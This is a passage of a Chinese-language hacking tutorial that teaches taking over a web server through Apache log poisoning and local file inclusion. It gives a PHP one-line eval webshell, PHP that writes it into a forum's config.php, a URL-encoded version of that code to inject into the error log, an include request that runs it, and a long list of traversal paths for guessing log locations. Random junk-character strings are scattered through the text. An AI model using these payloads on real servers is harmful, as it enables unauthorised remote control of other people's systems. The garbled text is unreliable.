因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 " `( A" p& H% h% P( `
' E3 f3 ~# h3 t; L5 d比如还是这句一句话木马
: A, ]% w- u9 o7 C<?eval($_POST[cmd]);?>
: h! m: t; V- s: a2 i3 o9 z% h, S# P+ N$ ]9 o
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, ) S/ R4 z7 V9 v9 ?1 Q
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 L( {4 F3 A7 E0 X( q, F4 n2 O' x* {
. t9 B3 B3 \$ ^9 j<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 1 Q3 J2 _. U' W) y7 W
fclose($fp);?> //在config.php里写入一句木马语句 2 O& G- u$ B' t K& H6 ?8 A
0 k, m6 J- C: u$ C' d, x& p
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 : a; z1 C" M: v" p# o
转换为
3 n9 G9 c9 E# f%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
9 d# g" m6 v5 }3 K" xconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp . y4 g. s% X+ c" v1 |
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
' O( l! b1 g/ D2 _) |+ Pfclose%28%24fp%29%3B%3F%3E - {0 n/ Q2 ]: s' p
我们提交
3 N, s+ w# E5 `) y0 s8 N% }1 ihttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
$ _/ X) h/ D0 P3 `' P. e%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
' P' n9 N6 r- O% n%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B : C; g4 @/ v0 R; _$ V$ C
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E + o( R. m: r+ o; N
5 i/ L+ q) K, |4 s) I7 X% T这样就错误日志里就记录下了这行写入webshell的代码。
: i2 M8 R0 `' u0 @& ]: [我们再来包含日志,提交
! b' c* h& I) j0 f8 |http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
0 h3 F9 ~/ F% M- f) y# r6 b/ S2 \( x" n% J. S. ]. r w6 y4 a) W
这样webshell就写入成功了,config.php里就写入一句木马语句
9 R% e2 R( l0 `' b/ M- w9 S. ]OK. - B% r9 _- F* A# v0 @' P8 D
http://www.xxx.com/forum/config.php这个就成了我们的webshell
, N" M% g- f6 J- E% C, G, [直接用lanker的客户端一连,主机就是你的了。 6 n$ a [- l+ E- P4 f
4 S/ d7 g' W7 ~+ d4 \
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
! e0 \, q- a/ k$ V. f$ q$ s
' N- r6 N+ w" t* M其他的日志路径,你可以去猜,也可以参照这里。
) l7 Z; k2 [, P7 D) r../../../../../../../../../../var/log/httpd/access_log
$ k' X, m% V0 L../../../../../../../../../../var/log/httpd/error_log : Z$ k, ~+ m+ H5 T
../apache/logs/error.log + O* ~, e. _* L' C! N% x
../apache/logs/access.log
* K. J% `7 p! l' u }, V' \../../apache/logs/error.log # R& O1 F! _3 U
../../apache/logs/access.log 5 n2 P6 A0 |7 w& o5 E
../../../apache/logs/error.log : I: q% V( b+ l3 V. {' d2 X3 j
../../../apache/logs/access.log 4 ?: F% F( x% b% {! g7 ?1 u
../../../../../../../../../../etc/httpd/logs/acces_log
$ S: \; N0 Y0 w, n/ H2 \../../../../../../../../../../etc/httpd/logs/acces.log
* Y* O: f' L- E+ W$ ~- @ L: V- g../../../../../../../../../../etc/httpd/logs/error_log
( f6 O) p* G5 j; s! W5 x../../../../../../../../../../etc/httpd/logs/error.log
/ P4 s0 B' f5 y4 T../../../../../../../../../../var/www/logs/access_log : i& x" P4 B5 t8 n8 @4 Z) e/ t! [# u! s
../../../../../../../../../../var/www/logs/access.log ; R0 ]: j6 ~; u$ {
../../../../../../../../../../usr/local/apache/logs/access_log 2 h$ u5 k C" G* d! G' n# R3 g
../../../../../../../../../../usr/local/apache/logs/access.log
- _" M3 w3 @* m+ G: D../../../../../../../../../../var/log/apache/access_log 7 _, T, }# ?2 F2 S( f4 `, R9 Q; l
../../../../../../../../../../var/log/apache/access.log ' w( \& `/ ?+ I+ H* ]' g/ }
../../../../../../../../../../var/log/access_log [" D5 A- y% \3 Y, X* e
../../../../../../../../../../var/www/logs/error_log $ p/ D" p4 [& i4 x" x/ R
../../../../../../../../../../var/www/logs/error.log ! M1 K/ i \9 ^) N \) u# Z
../../../../../../../../../../usr/local/apache/logs/error_log 8 x& R9 E5 P1 U4 E: Y6 O2 ]# n
../../../../../../../../../../usr/local/apache/logs/error.log
/ c5 e- R' s1 ~* o../../../../../../../../../../var/log/apache/error_log
1 F3 Q8 l9 c. ?) `/ g$ G% ^ s! R% D5 N/ g../../../../../../../../../../var/log/apache/error.log * R# s4 u( W% D [& ~
../../../../../../../../../../var/log/access_log
0 e: f- a; j- |& x% f../../../../../../../../../../var/log/error_log
3 i) R4 U, @$ G) E/var/log/httpd/access_log : V: C$ U1 D5 \+ ?/ w
/var/log/httpd/error_log ; t7 t0 t" N) O
../apache/logs/error.log ; I- ]6 D/ U9 e% ?* m5 l- o2 p# u& G
../apache/logs/access.log
, s4 F) @1 f8 C../../apache/logs/error.log $ K$ M# Z& g) U
../../apache/logs/access.log + M" f8 z9 q4 P* I- G Q
../../../apache/logs/error.log
* c' I' Q, k$ p, P7 E../../../apache/logs/access.log , u. r8 K X3 Z) }( T- q6 C
/etc/httpd/logs/acces_log ( B# n4 M% N$ o2 b3 Y
/etc/httpd/logs/acces.log
6 h( [ @6 C5 q1 q# F/etc/httpd/logs/error_log ( W8 n& P( z, ^7 x/ [" T
/etc/httpd/logs/error.log 4 ?8 O, o5 r* Y6 ]4 Y H
/var/www/logs/access_log
" g2 R7 P( @ v+ I& ]( h! J/var/www/logs/access.log
$ A% T/ P$ }' r/usr/local/apache/logs/access_log - x+ a7 {" U5 c1 u* {* |: I2 t
/usr/local/apache/logs/access.log , A. a! N0 ]3 X
/var/log/apache/access_log
; g: U( j/ ~6 x7 R/var/log/apache/access.log
9 Z+ X. _) f" d2 h- Z; r; h# l/var/log/access_log - t! |6 ]% S: |" h
/var/www/logs/error_log
& y( z _5 }& J, b5 ^, {/var/www/logs/error.log , S9 ]9 G/ n6 {! d. ?9 E
/usr/local/apache/logs/error_log
1 H2 a' G J( x6 i [' H) J) ]: H/usr/local/apache/logs/error.log / o% p* Y% M* D; T% ~9 z
/var/log/apache/error_log B/ c! P- K3 m+ ?) A# P9 _
/var/log/apache/error.log
b4 N$ r. G. v/ @& l8 J/var/log/access_log + p9 ?$ z0 }& T) l" {6 s
/var/log/error_log |